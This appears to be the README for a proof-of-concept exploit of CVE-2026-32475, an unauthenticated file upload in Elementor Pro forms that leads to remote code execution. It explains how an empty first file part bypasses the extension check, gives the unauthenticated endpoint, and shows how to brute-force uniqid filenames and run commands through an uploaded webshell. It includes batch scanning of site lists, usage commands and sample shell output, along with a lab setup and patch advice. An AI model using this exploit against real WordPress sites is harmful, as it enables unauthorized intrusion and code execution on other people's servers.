
Proof-of-concept exploit for CVE-2026-32475, an unauthenticated arbitrary file upload in Elementor Pro leading to remote code execution. Includes automated discovery, upload, and command execution with cleanup.
PoC for CVE-2026-32475 (CVSS 9.0 Critical, CWE-434): an unauthenticated arbitrary file upload in the Elementor Pro Forms module that leads to remote code execution. Fixed in Elementor Pro 4.2.2 (2026-08-19). Reported by Tin Pham (TF1T) via the Patchstack Bug Bounty program.
███████╗ █████╗ ██╗ ██╗ ███╗ ███╗ ███████╗ ███████╗ ██████╗
██╔════╝ ██╔══██╗ ██║ ██║ ████╗ ████║ ██╔════╝ ██╔════╝ ██╔════╝
███████╗ ███████║ ███████║ ██╔████╔██║ ███████╗ █████╗ ██║
╚════██║ ██╔══██║ ██╔══██║ ██║╚██╔╝██║ ╚════██║ ██╔══╝ ██║
███████║ ██║ ██║ ██║ ██║ ██║ ╚═╝ ██║ ███████║ ███████╗ ╚██████╗
╚══════╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚═╝ ╚══════╝ ╚══════╝ ╚═════╝
This proof of concept is provided for authorized security research, education, and defensive testing only.
The File Upload field of Elementor Pro forms processes uploaded entries in
two separate loops with different semantics (modules/forms/fields/upload.php):
// validation()
foreach ( $files[$id] as $index => $file ) {
if ( ! $field['required'] && UPLOAD_ERR_NO_FILE === $file['error'] ) {
return; // <-- aborts the WHOLE method
}
// is_file_type_valid() ... // never reached for entry #2
}
// process_field()
foreach ( $files[$id] as $index => $file ) {
if ( UPLOAD_ERR_NO_FILE === $file['error'] ) {
continue; // <-- skips only THIS entry
}
$filename = uniqid() . '.' . $file_extension; // attacker-controlled extension
move_uploaded_file( $file['tmp_name'], $new_file );
}
Submitting two file parts for the same upload field — an empty first part
(filename="" → UPLOAD_ERR_NO_FILE) followed by the .php payload — makes
validation() return before the extension blocklist ever sees the payload,
while process_field() still moves it into
wp-content/uploads/elementor/forms/<uniqid()>.php, a public web directory.
Requesting that URL directly = remote code execution.
The upload is handled by POST /wp-admin/admin-ajax.php
(action=elementor_pro_forms_send_form) with no authentication and no
nonce. The post_id, form_id and upload field name are visible in the
public page HTML, so the whole attack is unauthenticated.
Target:
Attacker:
Single target (auto-discovers the form page via sitemap/homepage):
python script.py --url https://target.example --command "id; hostname; uname -a" --cleanup
Explicit form page:
python script.py --url https://target.example --page-url https://target.example/contact/ --cleanup
Batch mode (sites.txt: one site per line — base_url or base_url page_url):
python script.py --list sites.txt --command "id" --cleanup --out results.json
JSON list format:
[{"url": "https://a.example"}, {"url": "https://b.example", "page_url": "https://b.example/jobs/"}]
Execute a command on an already-uploaded shell:
python script.py --url https://target.example --shell-url https://target.example/wp-content/uploads/elementor/forms/<name>.php --command "id"
| Flag | Default | Meaning |
|---|---|---|
--url | - | single-target base URL |
--list | - | batch mode list file |
--page-url | --url | page that contains the form |
--command | id; hostname; uname -a | command to run through the shell |
--cleanup | off | self-delete the webshell after testing |
--field k=v | - | override an auto-filled form field (repeatable) |
--tail | 0.3 | seconds before the estimated upload time to fine-sweep |
--step-fine | 1 | microsecond step of the fine sweep |
--full-second | off | brute-force the full uniqid second (defeats clock skew) |
--attempts | 1 | upload+sweep attempts (fresh random filename each) |
--max-probes | 600000 | sweep request budget per attempt |
--workers | 50 | parallel sweep threads |
--insecure | off | ignore TLS errors (self-signed targets) |
--out file.json | - | write the report as JSON |
post_id, form_id, the upload field name and
every other form field; auto-fills all fields with plausible values so
required fields pass validation (override with --field).admin-ajax.php.
Note: success:false with an empty errors object is still treated as
uploaded, because the default Email action throws after the file move
when wp_mail() fails. Only a rejection of the upload field itself
(file type is not allowed) counts as blocked.uniqid() = 8 hex seconds + 5 hex microseconds.
The seconds come from the response Date header; the sub-second fraction
is estimated from (t1 - date_epoch) % 1 (accurate when attacker and
server clocks are close). A keep-alive prober (~30x faster than one
request per connection) sweeps the move window at microsecond resolution;
--full-second brute-forces the entire second when clocks skew.GET <shell>?c=<command> runs the command;
--cleanup deletes the shell via ?x=1.| Status | Meaning |
|---|---|
vulnerable | shell uploaded and command executed — patch now |
blocked | upload field rejected (patched 4.2.2+, required field, WAF, captcha) |
uploaded_no_exec | file landed but filename not recovered (retry with --full-second) |
no_form | no vulnerable form found on the target |
error | connection/network error |
docker-compose.yml + setup_form_page.php reproduce the vulnerable target:
docker compose up -d
docker compose run --rm wpcli wp core install \
--url=http://localhost:8090 --title="Lab" --skip-email \
--admin_user=admin --admin_password=admin123! [email protected]
docker compose run --rm wpcli wp plugin install elementor --activate
# place your legally obtained elementor-pro.zip (<= 4.2.1) in the project dir, then:
docker compose exec wordpress bash -c "cd wp-content/plugins && unzip -o /var/www/html/elementor-pro.zip"
docker compose run --rm wpcli wp plugin activate elementor-pro
docker cp setup_form_page.php "$(docker compose ps -q wordpress)":/tmp/setup.php
docker compose exec wordpress php -r 'require "/var/www/html/wp-load.php"; include "/tmp/setup.php";'
python script.py --url http://localhost:8090 --command "id; hostname" --cleanup
[+] Shell located (attempt 1, stage=fine tail): http://localhost:8090/wp-content/uploads/elementor/forms/6a90b4fee658e.php
[*] Running command: uname -a
\nPWN\nLinux fcc317d0e442 6.18.33.2-microsoft-standard-WSL2 #1 SMP PREEMPT_DYNAMIC x86_64 GNU/Linux
[*] Cleaning up (deleting webshell)...
rm
Update Elementor Pro to 4.2.2+. Updating closes the hole but does not
remove shells that were already uploaded — audit
wp-content/uploads/elementor/forms/ for stray .php files.
For authorized security research and lab use only.